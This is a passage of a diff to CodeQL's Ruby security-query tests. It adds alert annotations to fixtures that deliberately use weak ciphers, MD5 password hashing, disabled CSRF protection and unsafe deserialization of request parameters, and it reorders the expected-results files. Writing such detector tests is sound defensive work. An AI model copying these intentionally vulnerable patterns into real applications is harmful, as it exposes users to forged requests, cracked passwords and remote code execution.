Alert[rb/weak-cryptographic-algorithm] weak.encrypt weak.random_key # BAD: encrypting data using a weak cipher -weak.update('foo') +weak.update('foo') # $ Alert[rb/weak-cryptographic-algorithm] weak.final # BAD: creating a cipher using a weak block mode -weak = OpenSSL::Cipher::AES.new(128, 'ecb') +weak = OpenSSL::Cipher::AES.new(128, 'ecb') # $ Alert[rb/weak-cryptographic-algorithm] weak.encrypt weak.random_key # BAD: encrypting data using a weak block mode -weak.update('foo') +weak.update('foo') # $ Alert[rb/weak-cryptographic-algorithm] weak.final # GOOD: creating a cipher using a strong scheme @@ -25,7 +25,7 @@ strong.update('bar') strong.final # BAD: weak block mode -OpenSSL::Cipher::AES.new(128, :ecb) +OpenSSL::Cipher::AES.new(128, :ecb) # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::AES.new(128, 'cbc') # GOOD: strong encryption algorithm @@ -34,49 +34,49 @@ OpenSSL::Cipher::AES.new('128-cbc') # GOOD: strong encryption algorithm OpenSSL::Cipher::AES128.new # BAD: weak block mode -OpenSSL::Cipher::AES128.new 'ecb' +OpenSSL::Cipher::AES128.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::AES192.new # BAD: weak block mode -OpenSSL::Cipher::AES192.new 'ecb' +OpenSSL::Cipher::AES192.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::AES256.new # BAD: weak block mode -OpenSSL::Cipher::AES256.new 'ecb' +OpenSSL::Cipher::AES256.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::BF.new # BAD: weak block mode -OpenSSL::Cipher::BF.new 'ecb' +OpenSSL::Cipher::BF.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::CAST5.new # BAD: weak block mode -OpenSSL::Cipher::CAST5.new 'ecb' +OpenSSL::Cipher::CAST5.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::DES.new +OpenSSL::Cipher::DES.new # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::DES.new 'cbc' +OpenSSL::Cipher::DES.new 'cbc' # $ Alert[rb/weak-cryptographic-algorithm] # GOOD: strong encryption algorithm OpenSSL::Cipher::IDEA.new # BAD: weak block mode -OpenSSL::Cipher::IDEA.new 'ecb' +OpenSSL::Cipher::IDEA.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::RC2.new +OpenSSL::Cipher::RC2.new # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::RC2.new 'ecb' +OpenSSL::Cipher::RC2.new 'ecb' # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::RC4.new +OpenSSL::Cipher::RC4.new # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::RC4.new '40' +OpenSSL::Cipher::RC4.new '40' # $ Alert[rb/weak-cryptographic-algorithm] # BAD: weak encryption algorithm -OpenSSL::Cipher::RC4.new 'hmac-md5' +OpenSSL::Cipher::RC4.new 'hmac-md5' # $ Alert[rb/weak-cryptographic-algorithm] Digest::MD5.hexdigest('foo') # OK: don't report hash algorithm even if it is weak Digest::SHA256.hexdigest('foo') # GOOD: strong hash algorithm diff --git a/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb b/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb index cff4263c40d..e1d5eb2645a 100644 --- a/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb +++ b/ruby/ql/test/query-tests/security/cwe-327/weak_hashing.rb @@ -1,16 +1,16 @@ require 'openssl' -password = "abcde" -username = "some_user" +password = "abcde" # $ Source[rb/weak-sensitive-data-hashing] +username = "some_user" # $ Source[rb/weak-sensitive-data-hashing] some_data = "foo" x = password Digest::MD5.hexdigest(some_data) # OK: input is not sensitive Digest::SHA256.hexdigest(password) # OK: strong hash algorithm -Digest::MD5.hexdigest(password) # BAD: weak hash function used for sensitive data -OpenSSL::Digest.digest('SHA1', password) # BAD: weak hash function used for sensitive data -Digest::MD5.hexdigest(username) # BAD: weak hash function used for sensitive data -Digest::MD5.hexdigest(x) # BAD: weak hash function used for sensitive data +Digest::MD5.hexdigest(password) # BAD: weak hash function used for sensitive data # $ Alert[rb/weak-sensitive-data-hashing] +OpenSSL::Digest.digest('SHA1', password) # BAD: weak hash function used for sensitive data # $ Alert[rb/weak-sensitive-data-hashing] +Digest::MD5.hexdigest(username) # BAD: weak hash function used for sensitive data # $ Alert[rb/weak-sensitive-data-hashing] +Digest::MD5.hexdigest(x) # BAD: weak hash function used for sensitive data # $ Alert[rb/weak-sensitive-data-hashing] def get_safe_data() return "hello" @@ -21,13 +21,13 @@ def get_password() end Digest::MD5.hexdigest(get_safe_data()) # OK: input is not sensitive -Digest::MD5.hexdigest(get_password()) # BAD: weak hash function used for sensitive data +Digest::MD5.hexdigest(get_password()) # BAD: weak hash function used for sensitive data # $ Alert[rb/weak-sensitive-data-hashing] some_hash = {password: "changeme", foo: "bar"} Digest::MD5.hexdigest(some_hash[:foo]) # OK: input is not sensitive -Digest::MD5.hexdigest(some_hash[:password]) # BAD: weak hash function used for sensitive data +Digest::MD5.hexdigest(some_hash[:password]) # BAD: weak hash function used for sensitive data # $ Alert[rb/weak-sensitive-data-hashing] -def a_method(safe_data, password_param) +def a_method(safe_data, password_param) # $ Source[rb/weak-sensitive-data-hashing] Digest::MD5.hexdigest(safe_data) # OK: input is not sensitive - Digest::MD5.hexdigest(password_param) # BAD: weak hash function used for sensitive data + Digest::MD5.hexdigest(password_param) # BAD: weak hash function used for sensitive data # $ Alert[rb/weak-sensitive-data-hashing] end diff --git a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref index 5dc5050b63e..7e422be7bf5 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref +++ b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionDisabled.qlref @@ -1 +1,2 @@ -queries/security/cwe-352/CSRFProtectionDisabled.ql \ No newline at end of file +query: queries/security/cwe-352/CSRFProtectionDisabled.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref index 8e9e894fe51..a47a9b3e99a 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref +++ b/ruby/ql/test/query-tests/security/cwe-352/CSRFProtectionNotEnabled.qlref @@ -1 +1,2 @@ -queries/security/cwe-352/CSRFProtectionNotEnabled.ql \ No newline at end of file +query: queries/security/cwe-352/CSRFProtectionNotEnabled.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb index 8cbf31529c1..fffa5f05db6 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb @@ -1,3 +1,3 @@ class AlternativeRootController < ActionController::Base # BAD: no protect_from_forgery call -end \ No newline at end of file +end # $ Alert[rb/csrf-protection-not-enabled] \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb index 6ff599938e8..0d98c535a41 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb @@ -2,7 +2,7 @@ class ApplicationController < ActionController::Base # BAD: `protect_from_forgery` without `with: :exception` can expose an # application to CSRF attacks in some circumstances - protect_from_forgery + protect_from_forgery # $ Alert[rb/csrf-protection-disabled] before_action authz_guard diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb index 596a7b0108f..1b54c332cd2 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb @@ -1,7 +1,7 @@ class UsersController < ApplicationController # BAD: Disabling forgery protection may open the application to CSRF attacks - skip_before_action :verify_authenticity_token + skip_before_action :verify_authenticity_token # $ Alert[rb/csrf-protection-disabled] def change_email user = current_user diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb index 02b349a1630..5d455ebe347 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb @@ -13,6 +13,6 @@ module Railsapp config.load_defaults 5.1 # BAD: Disabling forgery protection may open the application to CSRF attacks - config.action_controller.allow_forgery_protection = false + config.action_controller.allow_forgery_protection = false # $ Alert[rb/csrf-protection-disabled] end end diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb index a61bc6382b6..968227d5e33 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb @@ -2,5 +2,5 @@ Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # GOOD: disabling CSRF protection in the development environment should not be flagged - config.action_controller.allow_forgery_protection = false + config.action_controller.allow_forgery_protection = false # $ Alert[rb/csrf-protection-disabled] end diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb index 1a80e8503a6..384097fccf0 100644 --- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb +++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb @@ -2,5 +2,5 @@ Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # BAD: Disabling forgery protection may open the application to CSRF attacks - config.action_controller.allow_forgery_protection = false + config.action_controller.allow_forgery_protection = false # $ Alert[rb/csrf-protection-disabled] end diff --git a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb index 3ec21d778c1..ffaa4107231 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb +++ b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb @@ -10,7 +10,7 @@ class UsersController < ActionController::Base # BAD - the safe mode set globally is overridden with an unsafe mode passed as # a call argument def route1 - json_data = params[:key] - object = Oj.load json_data, mode: :object + json_data = params[:key] # $ Source + object = Oj.load json_data, mode: :object # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.expected b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.expected index 44f54744e4b..9d220826b1c 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.expected +++ b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.expected @@ -1,3 +1,5 @@ +#select +| OjGlobalOptions.rb:14:22:14:30 | json_data | OjGlobalOptions.rb:13:17:13:22 | call to params | OjGlobalOptions.rb:14:22:14:30 | json_data | Unsafe deserialization depends on a $@. | OjGlobalOptions.rb:13:17:13:22 | call to params | user-provided value | edges | OjGlobalOptions.rb:13:5:13:13 | json_data | OjGlobalOptions.rb:14:22:14:30 | json_data | provenance | | | OjGlobalOptions.rb:13:17:13:22 | call to params | OjGlobalOptions.rb:13:17:13:28 | ...[...] | provenance | | @@ -8,5 +10,3 @@ nodes | OjGlobalOptions.rb:13:17:13:28 | ...[...] | semmle.label | ...[...] | | OjGlobalOptions.rb:14:22:14:30 | json_data | semmle.label | json_data | subpaths -#select -| OjGlobalOptions.rb:14:22:14:30 | json_data | OjGlobalOptions.rb:13:17:13:22 | call to params | OjGlobalOptions.rb:14:22:14:30 | json_data | Unsafe deserialization depends on a $@. | OjGlobalOptions.rb:13:17:13:22 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref index 55f7c440b46..12e3c7a9b6c 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref +++ b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref @@ -1 +1,2 @@ -queries/security/cwe-502/UnsafeDeserialization.ql +query: queries/security/cwe-502/UnsafeDeserialization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb index 02adc167dab..d43d9cb9173 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb +++ b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb @@ -3,8 +3,8 @@ require "ox" class UsersController < ActionController::Base # BAD - Ox.load is unsafe when the mode :object is set globally def route0 - xml_data = params[:key] - object = Ox.load xml_data + xml_data = params[:key] # $ Source + object = Ox.load xml_data # $ Alert end # GOOD - the unsafe mode set globally is overridden with an insecure mode passed as diff --git a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.expected b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.expected index 4fa7c85df05..a7fd344d286 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.expected +++ b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.expected @@ -1,3 +1,5 @@ +#select +| OxGlobalOptions.rb:7:22:7:29 | xml_data | OxGlobalOptions.rb:6:16:6:21 | call to params | OxGlobalOptions.rb:7:22:7:29 | xml_data | Unsafe deserialization depends on a $@. | OxGlobalOptions.rb:6:16:6:21 | call to params | user-provided value | edges | OxGlobalOptions.rb:6:5:6:12 | xml_data | OxGlobalOptions.rb:7:22:7:29 | xml_data | provenance | | | OxGlobalOptions.rb:6:16:6:21 | call to params | OxGlobalOptions.rb:6:16:6:27 | ...[...] | provenance | | @@ -8,5 +10,3 @@ nodes | OxGlobalOptions.rb:6:16:6:27 | ...[...] | semmle.label | ...[...] | | OxGlobalOptions.rb:7:22:7:29 | xml_data | semmle.label | xml_data | subpaths -#select -| OxGlobalOptions.rb:7:22:7:29 | xml_data | OxGlobalOptions.rb:6:16:6:21 | call to params | OxGlobalOptions.rb:7:22:7:29 | xml_data | Unsafe deserialization depends on a $@. | OxGlobalOptions.rb:6:16:6:21 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref index 55f7c440b46..12e3c7a9b6c 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref +++ b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref @@ -1 +1,2 @@ -queries/security/cwe-502/UnsafeDeserialization.ql +query: queries/security/cwe-502/UnsafeDeserialization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.expected b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.expected index b99b2e7c781..b20b5e8b30e 100644 --- a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.expected +++ b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.expected @@ -1,3 +1,31 @@ +#select +| UnsafeDeserialization.rb:12:27:12:41 | serialized_data | UnsafeDeserialization.rb:11:39:11:44 | call to params | UnsafeDeserialization.rb:12:27:12:41 | serialized_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:11:39:11:44 | call to params | user-provided value | +| UnsafeDeserialization.rb:18:30:18:44 | serialized_data | UnsafeDeserialization.rb:17:39:17:44 | call to params | UnsafeDeserialization.rb:18:30:18:44 | serialized_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:17:39:17:44 | call to params | user-provided value | +| UnsafeDeserialization.rb:24:24:24:32 | json_data | UnsafeDeserialization.rb:23:17:23:22 | call to params | UnsafeDeserialization.rb:24:24:24:32 | json_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:23:17:23:22 | call to params | user-provided value | +| UnsafeDeserialization.rb:30:27:30:35 | json_data | UnsafeDeserialization.rb:29:17:29:22 | call to params | UnsafeDeserialization.rb:30:27:30:35 | json_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:29:17:29:22 | call to params | user-provided value | +| UnsafeDeserialization.rb:42:24:42:32 | yaml_data | UnsafeDeserialization.rb:41:17:41:22 | call to params | UnsafeDeserialization.rb:42:24:42:32 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:41:17:41:22 | call to params | user-provided value | +| UnsafeDeserialization.rb:54:22:54:30 | json_data | UnsafeDeserialization.rb:53:17:53:22 | call to params | UnsafeDeserialization.rb:54:22:54:30 | json_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:53:17:53:22 | call to params | user-provided value | +| UnsafeDeserialization.rb:55:22:55:30 | json_data | UnsafeDeserialization.rb:53:17:53:22 | call to params | UnsafeDeserialization.rb:55:22:55:30 | json_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:53:17:53:22 | call to params | user-provided value | +| UnsafeDeserialization.rb:70:23:70:31 | json_data | UnsafeDeserialization.rb:60:17:60:22 | call to params | UnsafeDeserialization.rb:70:23:70:31 | json_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:60:17:60:22 | call to params | user-provided value | +| UnsafeDeserialization.rb:82:28:82:36 | json_data | UnsafeDeserialization.rb:81:16:81:21 | call to params | UnsafeDeserialization.rb:82:28:82:36 | json_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:81:16:81:21 | call to params | user-provided value | +| UnsafeDeserialization.rb:88:26:88:33 | xml_data | UnsafeDeserialization.rb:87:15:87:20 | call to params | UnsafeDeserialization.rb:88:26:88:33 | xml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:87:15:87:20 | call to params | user-provided value | +| UnsafeDeserialization.rb:94:22:94:29 | xml_data | UnsafeDeserialization.rb:93:16:93:21 | call to params | UnsafeDeserialization.rb:94:22:94:29 | xml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:93:16:93:21 | call to params | user-provided value | +| UnsafeDeserialization.rb:110:34:110:36 | xml | UnsafeDeserialization.rb:109:11:109:16 | call to params | UnsafeDeserialization.rb:110:34:110:36 | xml | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:109:11:109:16 | call to params | user-provided value | +| UnsafeDeserialization.rb:116:25:116:33 | yaml_data | UnsafeDeserialization.rb:115:17:115:22 | call to params | UnsafeDeserialization.rb:116:25:116:33 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:115:17:115:22 | call to params | user-provided value | +| UnsafeDeserialization.rb:123:25:123:33 | yaml_data | UnsafeDeserialization.rb:122:17:122:22 | call to params | UnsafeDeserialization.rb:123:25:123:33 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:122:17:122:22 | call to params | user-provided value | +| UnsafeDeserialization.rb:138:32:138:40 | yaml_data | UnsafeDeserialization.rb:137:17:137:22 | call to params | UnsafeDeserialization.rb:138:32:138:40 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:137:17:137:22 | call to params | user-provided value | +| UnsafeDeserialization.rb:139:37:139:45 | yaml_data | UnsafeDeserialization.rb:137:17:137:22 | call to params | UnsafeDeserialization.rb:139:37:139:45 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:137:17:137:22 | call to params | user-provided value | +| UnsafeDeserialization.rb:140:32:140:40 | yaml_data | UnsafeDeserialization.rb:137:17:137:22 | call to params | UnsafeDeserialization.rb:140:32:140:40 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:137:17:137:22 | call to params | user-provided value | +| UnsafeDeserialization.rb:142:14:142:33 | call to to_ruby | UnsafeDeserialization.rb:137:17:137:22 | call to params | UnsafeDeserialization.rb:142:14:142:33 | call to to_ruby | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:137:17:137:22 | call to params | user-provided value | +| UnsafeDeserialization.rb:143:14:143:43 | call to to_ruby | UnsafeDeserialization.rb:137:17:137:22 | call to params | UnsafeDeserialization.rb:143:14:143:43 | call to to_ruby | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:137:17:137:22 | call to params | user-provided value | +| UnsafeDeserialization.rb:144:14:144:48 | call to to_ruby | UnsafeDeserialization.rb:137:17:137:22 | call to params | UnsafeDeserialization.rb:144:14:144:48 | call to to_ruby | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:137:17:137:22 | call to params | user-provided value | +| UnsafeDeserialization.rb:150:30:150:39 | plist_data | UnsafeDeserialization.rb:149:18:149:23 | call to params | UnsafeDeserialization.rb:150:30:150:39 | plist_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:149:18:149:23 | call to params | user-provided value | +| UnsafeDeserialization.rb:151:30:151:39 | plist_data | UnsafeDeserialization.rb:149:18:149:23 | call to params | UnsafeDeserialization.rb:151:30:151:39 | plist_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:149:18:149:23 | call to params | user-provided value | +| UnsafeDeserialization.rb:161:24:161:34 | call to read | UnsafeDeserialization.rb:161:24:161:34 | call to read | UnsafeDeserialization.rb:161:24:161:34 | call to read | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:161:24:161:34 | call to read | value from stdin | +| UnsafeDeserialization.rb:164:24:164:33 | call to gets | UnsafeDeserialization.rb:164:24:164:33 | call to gets | UnsafeDeserialization.rb:164:24:164:33 | call to gets | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:164:24:164:33 | call to gets | value from stdin | +| UnsafeDeserialization.rb:167:24:167:32 | call to read | UnsafeDeserialization.rb:167:24:167:32 | call to read | UnsafeDeserialization.rb:167:24:167:32 | call to read | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:167:24:167:32 | call to read | value from stdin | +| UnsafeDeserialization.rb:170:24:170:27 | call to gets | UnsafeDeserialization.rb:170:24:170:27 | call to gets | UnsafeDeserialization.rb:170:24:170:27 | call to gets | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:170:24:170:27 | call to gets | value from stdin | +| UnsafeDeserialization.rb:173:24:173:32 | call to readlines | UnsafeDeserialization.rb:173:24:173:32 | call to readlines | UnsafeDeserialization.rb:173:24:173:32 | call to readlines | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:173:24:173:32 | call to readlines | value from stdin | edges | UnsafeDeserialization.rb:11:5:11:19 | serialized_data | UnsafeDeserialization.rb:12:27:12:41 | serialized_data | provenance | | | UnsafeDeserialization.rb:11:23:11:50 | call to decode64 | UnsafeDeserialization.rb:11:5:11:19 | serialized_data | provenance | | @@ -129,31 +157,3 @@ nodes | UnsafeDeserialization.rb:170:24:170:27 | call to gets | semmle.label | call to gets | | UnsafeDeserialization.rb:173:24:173:32 | call to readlines | semmle.label | call to readlines | subpaths -#select -| UnsafeDeserialization.rb:12:27:12:41 | serialized_data | UnsafeDeserialization.rb:11:39:11:44 | call to params | UnsafeDeserialization.rb:12:27:12:41 | serialized_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:11:39:11:44 | call to params | user-provided value | -| UnsafeDeserialization.rb:18:30:18:44 | serialized_data | UnsafeDeserialization.rb:17:39:17:44 | call to params | UnsafeDeserialization.rb:18:30:18:44 | serialized_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:17:39:17:44 | call to params | user-provided value | -| UnsafeDeserialization.rb:24:24:24:32 | json_data | UnsafeDeserialization.rb:23:17:23:22 | call to params | UnsafeDeserialization.rb:24:24:24:32 | json_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:23:17:23:22 | call to params | user-provided value | -| UnsafeDeserialization.rb:30:27:30:35 | json_data | UnsafeDeserialization.rb:29:17:29:22 | call to params | UnsafeDeserialization.rb:30:27:30:35 | json_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:29:17:29:22 | call to params | user-provided value | -| UnsafeDeserialization.rb:42:24:42:32 | yaml_data | UnsafeDeserialization.rb:41:17:41:22 | call to params | UnsafeDeserialization.rb:42:24:42:32 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:41:17:41:22 | call to params | user-provided value | -| UnsafeDeserialization.rb:54:22:54:30 | json_data | UnsafeDeserialization.rb:53:17:53:22 | call to params | UnsafeDeserialization.rb:54:22:54:30 | json_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:53:17:53:22 | call to params | user-provided value | -| UnsafeDeserialization.rb:55:22:55:30 | json_data | UnsafeDeserialization.rb:53:17:53:22 | call to params | UnsafeDeserialization.rb:55:22:55:30 | json_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:53:17:53:22 | call to params | user-provided value | -| UnsafeDeserialization.rb:70:23:70:31 | json_data | UnsafeDeserialization.rb:60:17:60:22 | call to params | UnsafeDeserialization.rb:70:23:70:31 | json_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:60:17:60:22 | call to params | user-provided value | -| UnsafeDeserialization.rb:82:28:82:36 | json_data | UnsafeDeserialization.rb:81:16:81:21 | call to params | UnsafeDeserialization.rb:82:28:82:36 | json_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:81:16:81:21 | call to params | user-provided value | -| UnsafeDeserialization.rb:88:26:88:33 | xml_data | UnsafeDeserialization.rb:87:15:87:20 | call to params | UnsafeDeserialization.rb:88:26:88:33 | xml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:87:15:87:20 | call to params | user-provided value | -| UnsafeDeserialization.rb:94:22:94:29 | xml_data | UnsafeDeserialization.rb:93:16:93:21 | call to params | UnsafeDeserialization.rb:94:22:94:29 | xml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:93:16:93:21 | call to params | user-provided value | -| UnsafeDeserialization.rb:110:34:110:36 | xml | UnsafeDeserialization.rb:109:11:109:16 | call to params | UnsafeDeserialization.rb:110:34:110:36 | xml | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:109:11:109:16 | call to params | user-provided value | -| UnsafeDeserialization.rb:116:25:116:33 | yaml_data | UnsafeDeserialization.rb:115:17:115:22 | call to params | UnsafeDeserialization.rb:116:25:116:33 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:115:17:115:22 | call to params | user-provided value | -| UnsafeDeserialization.rb:123:25:123:33 | yaml_data | UnsafeDeserialization.rb:122:17:122:22 | call to params | UnsafeDeserialization.rb:123:25:123:33 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:122:17:122:22 | call to params | user-provided value | -| UnsafeDeserialization.rb:138:32:138:40 | yaml_data | UnsafeDeserialization.rb:137:17:137:22 | call to params | UnsafeDeserialization.rb:138:32:138:40 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:137:17:137:22 | call to params | user-provided value | -| UnsafeDeserialization.rb:139:37:139:45 | yaml_data | UnsafeDeserialization.rb:137:17:137:22 | call to params | UnsafeDeserialization.rb:139:37:139:45 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:137:17:137:22 | call to params | user-provided value | -| UnsafeDeserialization.rb:140:32:140:40 | yaml_data | UnsafeDeserialization.rb:137:17:137:22 | call to params | UnsafeDeserialization.rb:140:32:140:40 | yaml_data | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:137:17:137:22 | call to params | user-provided value | -| UnsafeDeserialization.rb:142:14:142:33 | call to to_ruby | UnsafeDeserialization.rb:137:17:137:22 | call to params | UnsafeDeserialization.rb:142:14:142:33 | call to to_ruby | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:137:17:137:22 | call to params | user-provided value | -| UnsafeDeserialization.rb:143:14:143:43 | call to to_ruby | UnsafeDeserialization.rb:137:17:137:22 | call to params | UnsafeDeserialization.rb:143:14:143:43 | call to to_ruby | Unsafe deserialization depends on a $@. | UnsafeDeserialization.rb:137:17:137:22 | call to params | user-provided value | -| UnsafeDeserialization.rb:144:14:144:48 | call to to_ruby | 